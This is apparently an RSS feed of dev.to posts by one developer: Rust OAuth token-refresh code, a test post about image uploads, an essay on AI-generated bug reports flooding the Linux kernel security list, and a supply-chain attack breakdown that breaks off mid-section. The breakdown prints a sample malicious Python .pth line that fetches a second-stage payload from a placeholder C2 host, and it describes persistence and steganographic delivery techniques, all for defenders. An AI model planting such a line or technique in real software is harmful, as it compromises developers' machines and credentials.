                &lt;span class="s"&gt;"oauth_token.refresh_token_encrypted"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;new_refresh_enc&lt;/span&gt;&lt;span class="nf"&gt;.is_empty&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nn"&gt;None&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nf"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_refresh_enc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
                &lt;span class="s"&gt;"oauth_token.expires_at"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;new_expires_at&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s"&gt;"updated_at"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nn"&gt;DateTime&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;};&lt;/span&gt;

        &lt;span class="n"&gt;creds_col&lt;/span&gt;&lt;span class="nf"&gt;.update_one&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nd"&gt;doc!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;"_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="py"&gt;.id&lt;/span&gt;&lt;span class="nf"&gt;.unwrap&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="n"&gt;update_doc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="nf"&gt;.unwrap&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="nn"&gt;tracing&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;info!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"✅ Successfully saved refreshed token for {:?}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="py"&gt;.platform&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By decoupling the refresh logic into the background worker, the user never experiences HTTP round-trip delays when they click "Schedule" in VS Code. The tokens remain perpetually active as long as they are using the service, and everything happens completely behind the scenes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;By enforcing &lt;strong&gt;Strict Separation&lt;/strong&gt; (validating cloud tokens explicitly on schedule) and leaning into the &lt;strong&gt;Fail-Fast&lt;/strong&gt; design pattern, we protected our backend from pointless processing, saved the users' quotas, and improved the UX significantly. &lt;/p&gt;

&lt;p&gt;Coupled with a resilient, auto-refreshing background job, the scheduling architecture is now as robust as the industry giants.&lt;/p&gt;

&lt;p&gt;The biggest takeaway for your next API? &lt;strong&gt;Don't let your system silently fail.&lt;/strong&gt; Stop the user at the gate, tell them exactly what they need to do with a structured JSON error, and give the frontend enough context to render a button that solves the problem for them!&lt;/p&gt;

&lt;p&gt;&lt;em&gt;(If you haven't read the previous deep dives, check out the full &lt;a href="https://dev.to/freerave/series/40071"&gt;Ship on Schedule&lt;/a&gt;.)&lt;/em&gt;&lt;/p&gt;

</description>
      <category>rust</category>
      <category>typescript</category>
      <category>architecture</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Testing DotShare Cloudflare Image Upload</title>
      <dc:creator>freerave</dc:creator>
      <pubDate>Sun, 24 May 2026 10:39:45 +0000</pubDate>
      <link>https://dev.to/freerave/testing-dotshare-cloudflare-image-upload-43g0</link>
      <guid>https://dev.to/freerave/testing-dotshare-cloudflare-image-upload-43g0</guid>
      <description>&lt;h2&gt;
  
  
  Testing Cloudflare R2 Integration
&lt;/h2&gt;

&lt;p&gt;This is a test article to verify that the &lt;strong&gt;DotShare Cover Image Upload&lt;/strong&gt; feature is working perfectly with Cloudflare R2 and the Rust backend.&lt;/p&gt;

&lt;h3&gt;
  
  
  What are we testing?
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Selecting an image via the VS Code extension.&lt;/li&gt;
&lt;li&gt;Converting the image to a Buffer via &lt;code&gt;axios&lt;/code&gt; instead of native &lt;code&gt;fetch&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Verifying that the Axum Rust server detects the magic bytes correctly.&lt;/li&gt;
&lt;li&gt;Ensuring the Cloudflare R2 upload succeeds and returns a public URL.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you can read this on Dev.to and see the cover image, then the end-to-end media upload pipeline is fully operational! 🚀&lt;/p&gt;

</description>
      <category>test</category>
      <category>webdev</category>
      <category>rust</category>
      <category>vscode</category>
    </item>
    <item>
      <title>Linus Torvalds Just Said What Everyone Was Thinking: AI Bug Spam Is Killing the Linux Kernel Security List</title>
      <dc:creator>freerave</dc:creator>
      <pubDate>Sat, 23 May 2026 12:31:41 +0000</pubDate>
      <link>https://dev.to/freerave/linus-torvalds-just-said-what-everyone-was-thinking-ai-bug-spam-is-killing-the-linux-kernel-1130</link>
      <guid>https://dev.to/freerave/linus-torvalds-just-said-what-everyone-was-thinking-ai-bug-spam-is-killing-the-linux-kernel-1130</guid>
      <description>&lt;h2&gt;
  
  
  AI tools are flooding the Linux kernel's security mailing list with duplicate, low-quality bug reports. Linus Torvalds drew the line. Here's what actually happened, why it matters, and what real contribution looks like.
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; AI tools lowered the cost of &lt;em&gt;finding&lt;/em&gt; potential bugs. They didn't lower the cost of &lt;em&gt;understanding&lt;/em&gt; them. When that second step gets skipped at scale, maintainers absorb all the noise. That's what just broke the Linux kernel's security mailing list.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;On May 17, 2026, while announcing the fourth release candidate of Linux 7.1, Linus Torvalds did something he rarely does: he stopped talking about code and started talking about people.&lt;/p&gt;

&lt;p&gt;Not in a nice way.&lt;/p&gt;

&lt;p&gt;His message was direct: the Linux kernel's private security mailing list has become &lt;strong&gt;"almost entirely unmanageable."&lt;/strong&gt; The reason? A relentless, accelerating flood of AI-generated bug reports — duplicate, low-quality, and most damaging of all, written by people who have no idea what they're looking at.&lt;/p&gt;

&lt;p&gt;This isn't a minor complaint. It's a signal that a structural problem has reached a breaking point inside one of the most critical open-source projects on the planet.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Actually Happened
&lt;/h2&gt;

&lt;p&gt;Torvalds posted his weekly "state of the kernel" note alongside the Linux 7.1-rc4 release. Alongside routine notes about driver updates, GPU patches, and filesystem work, he flagged a documentation update — and then explained &lt;em&gt;why&lt;/em&gt; that documentation now exists.&lt;/p&gt;

&lt;p&gt;The story is straightforward: AI-powered static analysis tools have become cheap and accessible. Researchers and developers have started pointing them at the Linux kernel source tree. The tools find things. Those people then report those things — directly to the private security mailing list — with zero additional investigation.&lt;/p&gt;

&lt;p&gt;The result? Multiple people independently scanning the same codebase with the same tools, finding the same issues, and all sending separate reports. Maintainers are spending entire work sessions doing nothing but:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Forwarding reports to the correct subsystem owner (because the sender didn't know who to contact)&lt;/li&gt;
&lt;li&gt;Replying with &lt;em&gt;"this was fixed three weeks ago"&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;Explaining that the reported behavior is not, in fact, a security vulnerability under the kernel's threat model&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Torvalds described it bluntly:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"entirely pointless churn... a waste of time for everybody involved."&lt;/em&gt;&lt;br&gt;
— Linus Torvalds, Linux 7.1-rc4 announcement&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  The New Rule: AI Bugs Go Public
&lt;/h2&gt;

&lt;p&gt;The kernel project responded with a documentation update that now formally addresses this. The rule is simple:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If you found a potential bug using an AI tool, you report it &lt;strong&gt;publicly&lt;/strong&gt; — not through the private security list.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This isn't punitive. It's architectural. The private security list exists for coordinated disclosure of genuine, undisclosed, exploitable vulnerabilities. It requires maintainers to treat every incoming report as potentially sensitive, investigate quietly, coordinate patches, and manage disclosure timing. That process has a real cost.&lt;/p&gt;

&lt;p&gt;Flooding it with AI-scanner output that hasn't been manually triaged destroys the signal-to-noise ratio that makes the channel valuable in the first place. By routing AI-assisted findings to public channels, the kernel team can apply community triage, filter duplicates openly, and avoid burning out the handful of people who manage private security coordination.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Real Problem: Nobody Read the Threat Model
&lt;/h2&gt;

&lt;p&gt;Here's the part most coverage glossed over.&lt;/p&gt;

&lt;p&gt;A significant portion of these reports aren't just duplicates — they're &lt;strong&gt;misclassified&lt;/strong&gt;. Regular bugs being reported as security vulnerabilities because the person submitting them didn't understand the Linux kernel's threat model.&lt;/p&gt;

&lt;p&gt;The Linux kernel has a well-documented threat model. Not everything that looks dangerous in isolation is actually exploitable in a real attack scenario. Memory patterns that look like vulnerabilities to an AI scanner may be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Intentional design decisions with documented trade-offs&lt;/li&gt;
&lt;li&gt;Already behind access controls that prevent exploitation&lt;/li&gt;
&lt;li&gt;Not within the kernel's defined attack surface&lt;/li&gt;
&lt;li&gt;Already fixed and the reporter just hasn't checked&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When someone dumps an AI report without reading the threat model, without checking the bug tracker, without verifying against recent commits — they generate noise dressed as signal. And they force experienced maintainers to spend time they don't have dismantling it.&lt;/p&gt;

&lt;p&gt;Torvalds was explicit: he doesn't want &lt;strong&gt;drive-by contributors&lt;/strong&gt; who send a random report and disappear. If you found something, he wants you to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Understand what you found&lt;/li&gt;
&lt;li&gt;Check if it's already fixed&lt;/li&gt;
&lt;li&gt;Read the relevant subsystem documentation&lt;/li&gt;
&lt;li&gt;Submit a &lt;strong&gt;patch&lt;/strong&gt;, not just a report&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Not Everyone Agrees With Torvalds (And That's Fine)
&lt;/h2&gt;

&lt;p&gt;This wouldn't be a real Linux story without disagreement.&lt;/p&gt;

&lt;p&gt;In March 2026, kernel maintainer &lt;strong&gt;Greg Kroah-Hartman&lt;/strong&gt; told The Register something different: AI bug reports had shifted from low-quality noise to genuinely useful contributions. His experience was that the quality had improved meaningfully.&lt;/p&gt;

&lt;p&gt;Separately, Nvidia kernel engineer &lt;strong&gt;Sasha Levin&lt;/strong&gt; proposed a completely different architectural response — a Linux kernel &lt;strong&gt;killswitch mechanism&lt;/strong&gt; that would allow administrators to disable vulnerable kernel functions temporarily while waiting for patches to land. A defensive posture rather than a gatekeeping one.&lt;/p&gt;

&lt;p&gt;So even inside the kernel community, people are landing on different solutions. Torvalds is focused on the noise problem. Levin is thinking about operational response when real bugs exist. Kroah-Hartman sees the glass half full.&lt;/p&gt;

&lt;p&gt;All three perspectives are legitimate. The situation is genuinely complex.&lt;/p&gt;




&lt;h2&gt;
  
  
  What This Looks Like From Outside the Kernel
&lt;/h2&gt;

&lt;p&gt;Step back and the pattern is recognizable anywhere large-scale open source intersects with AI tooling.&lt;/p&gt;

&lt;p&gt;AI lowers the &lt;strong&gt;cost of finding&lt;/strong&gt; something. It does not lower the &lt;strong&gt;cost of understanding&lt;/strong&gt; it. The gap between those two things is where the problem lives.&lt;/p&gt;

&lt;p&gt;When you run a static analyzer on a 30-million-line codebase and it returns 400 potential issues, the analyst's job — the expensive, skilled, irreplaceable part — is to figure out which 5 of those 400 actually matter. AI accelerated step one. It didn't automate step two.&lt;/p&gt;

&lt;p&gt;What's happening in the Linux security list is that people are skipping step two entirely and going straight to reporting. They've mistaken the output of a tool for the output of analysis.&lt;/p&gt;

&lt;p&gt;This is a workflow problem masquerading as an AI problem.&lt;/p&gt;

&lt;p&gt;The same thing happens in vulnerability research broadly. Automated scanners find candidates. Human researchers validate them. If you remove the validation step and ship the candidates directly, you create noise. The scanner doesn't know what it found. Only the researcher does — after they investigate.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Contribution Discipline Problem
&lt;/h2&gt;

&lt;p&gt;There's also a more uncomfortable subtext here that's worth naming.&lt;/p&gt;

&lt;p&gt;Some portion of this behavior is reputation-seeking. If an AI tool surfaces a potential kernel bug and you file a report, you've done something — you found a Linux kernel vulnerability. That sounds impressive. It doesn't matter if it was already fixed, already known, or not actually a vulnerability. The action itself produces a story you can tell.&lt;/p&gt;

&lt;p&gt;This is the gamification of contribution. And it's corrosive to open-source projects at scale because it turns the maintainer's inbox into everyone else's achievement farm.&lt;/p&gt;

&lt;p&gt;As someone who maintains open-source CLI tools and VS Code extensions — projects that are nowhere near the scale of the Linux kernel — I can tell you that a single low-quality automated issue report costs more energy to process than it took to generate. You open it hoping it's a real edge case someone hit in production. Instead it's a scanner output with no reproduction steps, no context, and no indication the reporter ever ran the code. That friction kills momentum on a real roadmap.&lt;/p&gt;

&lt;p&gt;Real contribution to the Linux kernel — and to any serious open-source project — requires doing the boring, unglamorous work:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reading documentation nobody told you to read&lt;/li&gt;
&lt;li&gt;Tracing code paths through subsystems you didn't write&lt;/li&gt;
&lt;li&gt;Checking the git log before filing anything&lt;/li&gt;
&lt;li&gt;Writing a patch when you find something real&lt;/li&gt;
&lt;li&gt;Accepting that a maintainer might reject it and explaining why&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That's not a rant. That's the entry price. The kernel community has always been demanding about this because the stakes are high. You're shipping code that runs in data centers, medical devices, spacecraft, and billions of phones. "I found it with an AI scanner" is not a sufficient bar.&lt;/p&gt;




&lt;h2&gt;
  
  
  What the Right Process Actually Looks Like
&lt;/h2&gt;

&lt;p&gt;If you want to do AI-assisted security research on the Linux kernel and have it mean something, here's what that process actually requires:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Before you scan:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Read the &lt;a href="https://www.kernel.org/doc/html/latest/process/security-bugs.html" rel="noopener noreferrer"&gt;Linux kernel security documentation&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Understand the kernel's documented threat model&lt;/li&gt;
&lt;li&gt;Know which subsystem owns what you're about to look at&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;When the scanner returns results:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;For each finding, check the git log: &lt;code&gt;git log --all --oneline -- &amp;lt;file&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Search the mailing list archives for the relevant function or symbol&lt;/li&gt;
&lt;li&gt;Check if there's an existing CVE or bug report&lt;/li&gt;
&lt;li&gt;Actually read the code the tool flagged — does the behavior make sense in context?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;If you believe it's real and unfixed:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If it's a genuine undisclosed security vulnerability: follow the private disclosure process&lt;/li&gt;
&lt;li&gt;If it was found via AI tooling: per the new documentation, report it publicly&lt;/li&gt;
&lt;li&gt;Write a reproducer if possible&lt;/li&gt;
&lt;li&gt;Write a patch if you can&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The gold standard:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Report the bug &lt;em&gt;and&lt;/em&gt; attach a fix&lt;/li&gt;
&lt;li&gt;This is what Torvalds actually wants from external contributors&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Broader Signal
&lt;/h2&gt;

&lt;p&gt;This situation is an early case study in what happens when AI tooling becomes commoditized and the friction of contributing drops toward zero.&lt;/p&gt;

&lt;p&gt;Lower friction isn't always better. In systems where quality matters — and the Linux kernel's security process absolutely qualifies — the friction was doing useful work. It filtered out reports from people who hadn't done enough thinking. Remove the friction without replacing it with something else, and you get spam at scale.&lt;/p&gt;

&lt;p&gt;The kernel team's response — routing AI-assisted reports publicly, requiring more documentation, being explicit about what they do and don't want — is essentially rebuilding that friction selectively. Not to keep people out, but to ensure that what gets through is worth the cost of processing it.&lt;/p&gt;

&lt;p&gt;That's a reasonable response to an unreasonable situation.&lt;/p&gt;

&lt;p&gt;What would be more interesting — and what Sasha Levin's killswitch proposal hints at — is whether the kernel community can eventually build infrastructure that uses AI on the &lt;em&gt;maintainer side&lt;/em&gt; to triage incoming reports. Use AI to fight AI spam. Several Slashdot commenters made the same point: an LLM with access to the bug tracker and git history could probably classify "likely duplicate / already fixed / not a security issue" at high accuracy with minimal training.&lt;/p&gt;

&lt;p&gt;That's the architectural play. Not refusing AI. Not accepting the noise. Building a better filter on the receiving end.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Bottom Line
&lt;/h2&gt;

&lt;p&gt;Linus Torvalds didn't say AI tools are bad. He said using them without understanding what they're telling you, without doing the subsequent analysis, and without caring whether the report is useful to anyone — that's a waste of everyone's time.&lt;/p&gt;

&lt;p&gt;He's right.&lt;/p&gt;

&lt;p&gt;AI lowers the cost of finding candidates. It doesn't replace the judgment required to know what you actually found. And when that judgment gets skipped at scale, the maintainers absorbing the impact pay the price.&lt;/p&gt;

&lt;p&gt;The new documentation rule is a reasonable line to draw. The harder question — how open-source projects manage contribution quality as AI tooling becomes universal — is one the entire ecosystem is going to have to answer.&lt;/p&gt;

&lt;p&gt;The Linux kernel just got there first.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Have you run into AI-generated noise in open-source projects you contribute to or maintain? How are you handling triage at scale? Drop it in the comments.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>linux</category>
      <category>security</category>
      <category>opensource</category>
      <category>ai</category>
    </item>
    <item>
      <title>TeamPCP Broke GitHub — And Nobody Saw It Coming (But They Should Have)</title>
      <dc:creator>freerave</dc:creator>
      <pubDate>Fri, 22 May 2026 11:23:23 +0000</pubDate>
      <link>https://dev.to/freerave/teampcp-broke-github-and-nobody-saw-it-coming-but-they-should-have-3opg</link>
      <guid>https://dev.to/freerave/teampcp-broke-github-and-nobody-saw-it-coming-but-they-should-have-3opg</guid>
      <description>&lt;h2&gt;
  
  
  A deep technical breakdown of how TeamPCP / UNC6780 ran a 3-month supply chain campaign ending in GitHub's own internal breach. Timeline, attack anatomy, IOCs, and what every developer needs to lock down NOW.
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; Between March and May 2026, a financially motivated threat group called TeamPCP executed the most sustained developer supply chain campaign in recent history — compromising Trivy, Checkmarx, Bitwarden CLI, axios, TanStack, Mistral AI, OpenAI, and finally GitHub itself. The final vector: a VS Code extension live for &lt;strong&gt;18 minutes&lt;/strong&gt;. That was enough.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Why I'm Writing This
&lt;/h2&gt;

&lt;p&gt;I've been following the 2026 breach cluster since the ShinyHunters identity-layer pivot. But TeamPCP is a different animal. ShinyHunters went after third-party vendor credentials. TeamPCP went after &lt;strong&gt;you&lt;/strong&gt; — your laptop, your VS Code, your npm tokens, your GitHub PAT sitting in &lt;code&gt;~/.gitconfig&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If you write code, you are the attack surface. Full stop.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Actor: Who is TeamPCP / UNC6780?
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Alias&lt;/th&gt;
&lt;th&gt;Tracker&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;TeamPCP&lt;/td&gt;
&lt;td&gt;Self-identified on BreachForums&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UNC6780&lt;/td&gt;
&lt;td&gt;Google Threat Intelligence Group&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PCPcat&lt;/td&gt;
&lt;td&gt;Infrastructure alias&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DeadCatx3&lt;/td&gt;
&lt;td&gt;Malware signing alias&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ShellForge / CipherForce&lt;/td&gt;
&lt;td&gt;Operational aliases&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Motivation:&lt;/strong&gt; Purely financial. No geopolitical agenda. They steal credentials, sell data, and run extortion. They've also partnered with ransomware group &lt;strong&gt;Vect&lt;/strong&gt; — signaling a possible pivot from credential theft toward full-scale extortion operations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Signature tells:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Payloads skip systems with Russian locale (&lt;code&gt;LANG=ru_RU&lt;/code&gt;) — Eastern European cybercrime tradecraft&lt;/li&gt;
&lt;li&gt;RSA public key reuse across campaigns (Wiz's high-confidence attribution signal)&lt;/li&gt;
&lt;li&gt;Shared cipher salt and dead-drop string lineage across malware families&lt;/li&gt;
&lt;li&gt;Prefer &lt;strong&gt;orphan commits&lt;/strong&gt; in official repos as payload hosting to evade takedowns&lt;/li&gt;
&lt;li&gt;Use steganography (WAV audio files) and .pth persistence for evasion&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Full Timeline: 3 Months of Escalation
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Mar 19 ──── Trivy (aquasecurity) → CanisterWorm ICP C2
Mar 25 ──── Checkmarx KICS Docker images
Mar 26 ──── LiteLLM (AI gateway) → .pth persistence
Mar 27 ──── Telnyx SDK → WAV steganography payload
Mar 31 ──── axios 1.14.1 / 0.30.0 → cross-platform RAT [100M weekly DL]
Apr 22 ──── Checkmarx KICS VS Code extension
Apr 27 ──── @bitwarden/cli 2026.4.0 → self-propagating
Apr 29-May 1 ─ Mini Shai-Hulud Wave 1: SAP CAP, PyTorch Lightning, intercom-client
May 11 ──── Mini Shai-Hulud Wave 2: 84 @tanstack/* packages in 6 minutes
May 12 ──── @mistralai/* npm packages (bug in payload — non-functional)
May 12 ──── @uipath/* npm packages
May 13 ──── Shai-Hulud source code published to GitHub under MIT license
May 13 ──── $1,000 Monero supply chain attack contest on BreachForums
May 15 ──── OpenAI discloses 2 compromised employee devices (TanStack vector)
May 19 ──── Microsoft durabletask Python SDK (PyPI) — 28KB payload
May 18 ──── Nx Console v18.95.0 live on VS Code Marketplace [18 minutes]
May 19 ──── GitHub detects breach, starts incident response
May 20 ──── GitHub publicly confirms: ~3,800 internal repos exfiltrated
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Attack Anatomy — How Each Wave Worked
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Wave 1 (March): Trivy — The Credential Rotation Mistake
&lt;/h3&gt;

&lt;p&gt;The campaign started with a mistake by Aqua Security: &lt;strong&gt;incomplete credential rotation&lt;/strong&gt; after a prior incident.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2026-33634&lt;/strong&gt; (CVSS v4.0: &lt;strong&gt;9.4&lt;/strong&gt;) — Listed in CISA KEV catalog, remediation deadline April 9, 2026.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. TeamPCP obtains stale Trivy publish credentials
2. Force-push malicious commits across 76/77 version tags in aquasecurity/trivy-action
3. Payload: CanisterWorm — uses ICP (Internet Computer Protocol) canisters as C2
   → Censorship-resistant command-and-control. Can't be taken down by domain seizure.
4. Any CI pipeline running Trivy: compromised
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why ICP canisters?&lt;/strong&gt; Traditional C2 infrastructure can be taken down (domain seizure, IP block). ICP runs on a decentralized blockchain. You can't "block" it. This is a meaningful evolution in C2 design.&lt;/p&gt;




&lt;h3&gt;
  
  
  Wave 2 (Late March): LiteLLM — .pth Persistence
&lt;/h3&gt;

&lt;p&gt;LiteLLM is the AI gateway library. It sits between your app and OpenAI/Anthropic/whatever. Extremely high-value target.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# What the malicious .pth file looked like conceptually:
# /usr/lib/python3.x/site-packages/mal.pth
&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;curl&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;-sS&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https://[C2]/stage2&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;-o&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/tmp/s2&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DEVNULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The .pth persistence trick:&lt;/strong&gt;&lt;br&gt;
Any &lt;code&gt;.pth&lt;/code&gt; file in Python's &lt;code&gt;site-packages&lt;/code&gt; gets &lt;strong&gt;executed on every Python interpreter invocation&lt;/strong&gt;. Not on install. Not on import. On every single &lt;code&gt;python&lt;/code&gt; call on the system.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Developer installs LiteLLM →
Malicious postinstall writes .pth file →
Every subsequent python command = malware execution
Survives pip uninstall of LiteLLM
Survives virtualenv recreation
Only wiped if you manually audit site-packages
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Wave 3 (March 27): Telnyx — WAV Steganography
&lt;/h3&gt;

&lt;p&gt;This one is technically elegant and worth understanding.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Malicious Telnyx SDK published
2. On import, SDK fetches a .WAV audio file from C2
3. WAV file is decoded: XOR decryption extracts a Windows PE binary
4. Binary executed in-memory
5. Second-stage RAT establishes persistence
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why WAV? Because most egress filters and DLP tools don't inspect audio files for executable content. WAV has no signature that screams "malware." It passes through corporate proxies quietly.&lt;/p&gt;




&lt;h3&gt;
  
  
  Wave 4 (March 31): axios — 100 Million Weekly Downloads
&lt;/h3&gt;

&lt;p&gt;This is the one that should have been a five-alarm fire for the entire JavaScript ecosystem.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Timeline:
19:41 UTC — axios 1.14.1 published (malicious)
